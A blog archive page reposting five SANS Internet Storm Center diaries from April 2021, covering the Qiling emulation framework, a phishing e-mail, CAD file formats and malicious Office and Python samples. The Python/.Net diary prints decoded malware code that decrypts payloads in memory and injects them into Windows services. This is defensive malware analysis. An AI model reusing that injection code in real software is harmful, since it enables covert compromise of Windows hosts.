Blog

Archive for April, 2021

Qiling: A true instrumentable binary emulation framework, (Fri, Apr 30th)

A while ago, during the FLARE On 7 challenge last autumn, I had my first experience with the Qiling framework. It helped me to solve the challenge CrackInstaller by Paul Tarter (@Hefrpidge). If you want to read more about this (very interesting) challenge: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/flareon7-challenge9-solution.pdf

Qiling is an advanced binary emulation framework, supporting many different platforms and architectures. It uses the well known Unicorn Engine and understands operating systems. It  knows how to load libraries and executables, how to relocate shared libraries, handles syscalls and IO handlers. Qiling can execute binaries without the binaries native operating system. You’ll probably won’t use Qiling to emulate complete applications, but emulating (large) functions and code works flawlessly. 

The Qiling framework comes out of the box supporting 40% of the Windows API calls, Linux syscalls and has also some UEFI coverage. Qiling is capable of creating snapshots, hooking into sys- and api calls, hot patching, remote debugging and hijacking stdin and stdout. Because Qiling is a framework, it is easy to extend and use by writing Python code.

Let me walk you through some of the features. Qiling can be started by a docker container, using the following command: 

docker run -p 5000:5000 -v (pwd):/work -it qilingframework/qiling

To start with Windows binaries, you need to collect the dlls (and registry) from a Windows system first. The batch file https://github.com/qilingframework/qiling/blob/master/examples/scripts/dllscollector.bat is available for this purpose, this will collect all the necessary files to get started.

After collecting the files, the following will make Qiling to load the library, configure the architecture and operating system and point to the root filesystem (containing the windows or linux libraries):

ql = Qiling(["/work/credhelper.dll"], archtype="x86", ostype="windows", rootfs="/work/10_break/rootfs/x8664_windows/", output="debug", console=True)

Now the framework is initialized, it is ready to execute specific address ranges. But first you’ll probably want to set-up, memory, stack and register values, which are being offered by the Unicorn Engine:

# set up memory pool
pool = ql.mem.map_anywhere(size)

# write memory at specific location
ql.mem.write(0x14000608c, ql.pack64(0x41424143414242))

# configure register values
ql.reg.rdx = param2
	
# setting up stack values
ql.stack_write(0x358, ql.reg.rsp+576) # local_358

Now we have set the memory, stack and registry, we can start the emulation:

ql.run(begin=start_offset, end=end_offset)

If you add the disassembly capabilities of Capstone, parts of the memory can be disassembled easily. The snippet below will hook every instruction and run the print_asm function.

from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)

def print_asm(ql, address, size):
    buf = ql.mem.read(address, size)
    for i in md.disasm(buf, address):
        print(":: 0x%x:t%st%s" %(i.address, i.mnemonic, i.op_str))

ql.hook_code(print_asm)

Dynamically hooking into the application, can be done using memory hooks, like intercepting memory errors and invalid reads:

def ql_x86_windows_hook_mem_error(ql, access, addr, size, value):
    ql.dprint(D_INFO, "[+] ERROR: unmapped memory access at 0x%x" % addr)
    return False

ql.hook_mem_unmapped(ql_x86_windows_hook_mem_error)

def hook_mem_read_invalid(ql, access, addr, size, value):
    ql.dprint(D_INFO, "[+] ERROR: invalid memory read at 0x%x" % addr)
    return True

ql.hook_mem_read_invalid(hook_mem_read_invalid)

def hook_mem_invalid(ql, access, addr, size, value):
    ql.dprint(D_INFO, "[+] ERROR: invalid memory access at 0x%x" % addr)
    return True

ql.hook_mem_invalid(hook_mem_invalid)

Often you want to intercept specific API calls, or maybe add calls that haven’t been implemented yet. The following code will implement the StringFromGUID2 api call, write the value to memory to the location lpsz parameter points to and return the size of the bytes written.

@winsdkapi(cc=STDCALL, dllname="ole32_dll", replace_params={
  "rguid": POINTER,
  "lpsz": POINTER,
  "cchMar": DWORD,
})
def hook_StringFromGUID2(ql, address, params):
        ql.nprint("StringFromGuid2", address, params)
        ql.mem.write(params.get('lpsz'), "test".encode('utf-16le') + 'x00'.encode('utf-16le'))
        return 5

ql.set_api("StringFromGUID2", hook_StringFromGUID2)

Hot patching code, is just writing to memory locations:

# patch kernel execute
ql.mem.write(0x140002b59, b'x90x90x90x90x90x90')

For this specific FlareOn challenge, I created a small Ghidra python plugin, to be able to visually select the address range to emulate. The Ghidra plugin communicates with a flask server, running my Qiling code to run the emulation and return results back to Ghidra. Using this approach it was easy to emulate small parts of the code and eventually leading to the solution of the challenge. 
 

There is much more Qiling, but for now have a great day!

References

Remco Verhoef (@remco_verhoef)
ISC Handler – Founder of DTACT
PGP Key
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

From Python to .Net, (Thu, Apr 29th)

The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications… but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions.

The script was called ‘prophile.py'[4]  (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let’s have a look at it!

First, all interesting strings are obfuscated using a one-liner:

>>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s])
>>> URIAbQ ('x8dx98x8ax92x95x90x8ax8dxd9xd6xbfxb0xd9xdbxaaxbcxabxafxb0xbaxbcxaaxd9x9cx88xd9', 249)
'tasklist /FI "SERVICES eq '

As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework:

Note: all the snippets of code have been decoded/beautified

from System.Security.Cryptography import*
from System.Reflection import*
import System

The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument:

if __name__ == "__main__":
    if len(sys.argv) != 2:
        exit()

The expected parameter is the encryption key as we can see in this function call:

payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file)

I did not found the parameter passed as an argument, no way to decrypt the payloads!

These payloads (stored in the script) are decrypted in memory:

def DecryptPayloadToMemory(payload, key, iv, log_file):
    instance = None
    try:
        rm = RijndaelManaged(KeySize=128, BlockSize=128)
        rm.Key = Str2Bytes(key)
        rm.IV = Str2Bytes(iv)
        rm.Padding = PaddingMode.PKCS7
        payload = Str2Bytes(payload)
        with System.IO.MemoryStream()as memory_handle:
            with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle:
                crypto_handle.Write(payload, 0, payload.Length)
                print(crypto_handle.FlushFinalBlock())
                memory_handle.Position = 0
                instance = System.Array.CreateInstance(System.Byte, memory_handle.Length)
                memory_handle.Read(instance, 0, instance.Length)
    except System.SystemException as ex:
        log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace))
        log_file.flush()
        instance = None
    return instance

The script injects malicious code into two Windows services:

process_name = "rpceptmapper"
process_name2 = "lanmanserver"

Two payloads are injected into these services using the Assembly.CreateInstance method[6]:

def InjectCode(enc_payld, process_name, log_file, asm):
    payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file)
    if payload == None:
        log_file.write('[!] Failed to get payload')
        return False
    try:
        type = asm.GetType('DefaultSerializer.DefaultSerializer')
        pid = GetProcessPID(process_name)
        if pid != 0:
            NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None)
            NQHRxUDMlE = type.GetMethod('Invoke')
            log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None))
        else:
            log_file.write('[!] Failed to get pid')
            return True
    except System.SystemException as ex:
        log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace))
        return False
    return True

Another example of how Python becomes more and more popular for attackers!

[1] https://dotnet.microsoft.com/download/dotnet-framework
[2] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[3] https://docs.python.org/3/library/ctypes.html
[4] https://bazaar.abuse.ch/sample/65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361/
[5] http://pythonnet.github.io
[6] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-5.0

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Deeper Analyzis of my Last Malicious PowerPoint Add-On, (Wed, Apr 28th)

Last week, I wrote a diary about a malicious PowerPoint add-on[1] and I concluded by saying that I was not able to continue the investigation because the URL found in the macro pointed to a blogspot.com URL. Ron, one of our readers, found that this page was indeed malicious and contained some piece of JavaScript executed by mshta.exe.

The document discovered by Ron was not identical to mine (the macro slightly changed) but it pointed to the same URL (the blog has been closed by Blogger in the meantime).

How did I miss this simple piece of JavaScript? I don’t know but thanks to Ron for sharing the nice document[2]. Very interesting read!

[1] https://isc.sans.edu/forums/diary/Malicious+PowerPoint+AddOn+Small+Is+Beautiful/27342/
[2] http://isc.h2392901.stratoserver.net/Xavier_1.pdf

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Diving into a Singapore Post Phishing E-mail, (Tue, Apr 27th)

With the sustained persistence of COVID-19 globally, postal and e-commerce related phishing e-mails remain as one of the most widely favoured methods by adversaries and cybercrime groups. Although postal and shipping companies have often put-up warnings with respect to phishing sites and e-mails (for example Singapore Post [1] and DHL [2]), phishing sites and e-mails continue to be propagated. While organizations continue to deploy technologies and invest in security awareness training to allow better detection of phishing e-mails, individuals who are not particularly IT-savvy could fall prey to such phishing e-mails, especially with respect to their personal e-mail accounts who may not have enterprise phishing protection features. I was recently forwarded one phishing e-mail for a quick look. Unfortunately, by the time I got to it, the phishing page appeared to have been taken down. However, there were some salient points that struck me when I analyzed the contents of the e-mail, and wanted to talk a bit about it so as to increase awareness.

A check on the e-mail headers yielded the following information (with reference to Figure 1, and some details were omitted to preserve privacy):

Figure 1: E-Mail Headers

I did some research on the e-mail address in the “From” and “Sender” fields, and discovered that it originated from a legitimate company (hence the redaction). Of course, the name reflected in the “From” and “Sender” fields should have triggered some red flags since it stated “Singapore-post” but displayed another e-mail address.

Moving on to the contents of the e-mail. With reference to Figure 2 below, we can see the contents (some information have been removed to preserve privacy).

Figure 2: Contents of Phishing E-Mail

The first thing that drew my attention was the logo that was retrieved from a third-party site which felt particularly dodgy. After visiting the “phishing” site, a webpage related to the original site loaded with no signs of any content related to Singapore Post (thankfully!). While it appeared that the owner of the website removed phishing content and replaced with something of their own, the link was still kept.

Looking at all the factors, there were many opportunities to deny the adversaries from succeeding in sending out the phishing e-mail. The factors that could be addressed are as follows:

1. Image Hotlinking: This is a common issue faced by many individuals and organizations hosting their websites. If left unchecked, it could affect the uptime and bandwidth costs (this is especially so for small businesses that often cannot afford high-capacity web hosting plans). In this case, we can see that the third-party website inadvertently facilitated the adversaries’ attempts in providing the logo for their phishing e-mails. To mitigate this issue, one can consider using Content Delivery Networks (CDN) that have hotlink protection features, or tweak cPanel settings (if it is used to administer your website) as shown here [3]. There are also a few other methods, but configuration will vary due to the type of CMS that the website is running on. Nevertheless, there are some robust documentations available online with respect to image hotlinking, and owners should consider implementing them if possible.

2. Securing assets: A legitimate organization’s e-mail system was compromised to send out the phishing e-mail, and another legitimate organization’s website was used to host the phishing page. I did not probe into the affected organizations’ assets, but such compromises are usually due to unpatched systems, security misconfiguration or a successful phish of administrative credentials. Unfortunately, other than taking a proactive approach towards cybersecurity within limits of a given budget, there isn’t really much an organization can do (ignoring the issue can be one way, but that is bound to bring more disastrous and pressing issues to the organization/business in future). Building and maintaining security controls can be challenging, but there is useful documentation such as the CIS Controls (version 8 launching soon [4]) that organizations could refer to bolster their cybersecurity readiness.

As always, when in doubt, verify the authenticity of the e-mail received. In addition, why not consider checking in with your loved ones and friends to see if they received any phishing e-mails and let them know how they could spot potential ones? These are no doubt challenging times, and being able to maintain access to your digital accounts should be one of the top priorities.

References:

[1] https://www.singpost.com/online-security-you

[2] https://www.dhl.com/sg-en/home/footer/fraud-awareness.html

[3] https://documentation.cpanel.net/display/84Docs/Hotlink+Protection

[4] https://www.sans.org/blog/cis-controls-v8/

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

CAD: .DGN and .MVBA Files, (Mon, Apr 26th)

Regularly I receive questions about MicroStation files, since I wrote a diary entry about AutoCAD drawings containing VBA code.

MicroStation is CAD software, and it can run VBA code.

I’ve never been given malicious MicroStation files, but recently I’ve been given a normal drawing (.dgn) and a script file (.mvba).

To be clear: these are not malware samples, the files were given to me so that I could take a look at the internal file format and report it.

Turns out that both files are “OLE files”, and can thus be analyzed with my oledump.py tool.

Here is the .DGN file:

It’s an OLE file with storage (folder) Dgn-Md containing other storages and streams.

And the metadata identifies this as a MicroStation file (I’m using tail to filter out the thumbnail data):

It does not contain VBA code: AFAIK, .DGN files can not contain VBA code. Please post a comment if I’m wrong, or if you can share a sample .DGN file containing VBA code.

The VBA script file, with extension .MVBA, is also an OLE file with VBA code streams:

Here too, the M indicator alerts us to the presence of VBA code. It can be extracted with oledump:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 5 12345